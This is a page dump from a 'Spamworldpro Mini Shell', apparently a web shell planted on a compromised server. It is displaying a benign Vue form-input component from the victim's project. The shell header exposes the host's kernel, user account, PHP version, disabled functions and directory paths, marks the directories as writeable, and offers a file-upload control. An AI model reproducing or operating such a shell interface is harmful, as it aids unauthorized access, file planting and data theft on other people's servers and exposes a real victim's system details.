Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/frontend/components/CoralsForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/frontend/components/CoralsForm/CoralsInput.vue
<template>
  <b-form-group
    :invalid-feedback="form.error(field)"
    :label="labelValue"
    :label-for="idValue"
    :description="fieldDescription"
    :label-class="required?'required-field':''"
    :state="form.state(field)">

    <b-form-input v-if="hasValueAttr"
                  v-bind="$attrs"
                  :type="type"
                  :id="idValue"
                  @input="$emit('input',$event)"
                  :state="form.state(field)">
    </b-form-input>
    <b-form-input v-else
                  v-bind="$attrs"
                  :type="type"
                  :id="idValue"
                  @input="$emit('input',$event)"
                  :state="form.state(field)"
                  v-model.trim="form[field]">
    </b-form-input>

  </b-form-group>
</template>

<script>
export default {
  name: "CoralsInput",
  props: {
    form: {
      type: Object,
      required: true
    },
    label: {
      type: [String, Boolean],
      default: '',
      required: false,
    },
    type: {
      type: String,
      default: 'text',
    },
    field: {
      type: String,
      required: true,
    },
    required: {
      type: Boolean,
      default: false
    },
  },
  computed: {
    hasValueAttr() {
      return this.$attrs.value !== undefined;
    },
    labelValue() {
      if (this.label === false) {
        return '';
      }
      if (this.label) {
        return this.label;
      }

      let label = this.field.replace('_', ' ');
      return label.charAt(0).toUpperCase() + label.slice(1);
    },
    idValue() {
      if (this.$attrs.id) {
        return this.$attrs.id;
      }

      return this.field;
    },
    fieldDescription() {
      return this.$attrs.description || '';
    }
  }
}
</script>

Spamworldpro Mini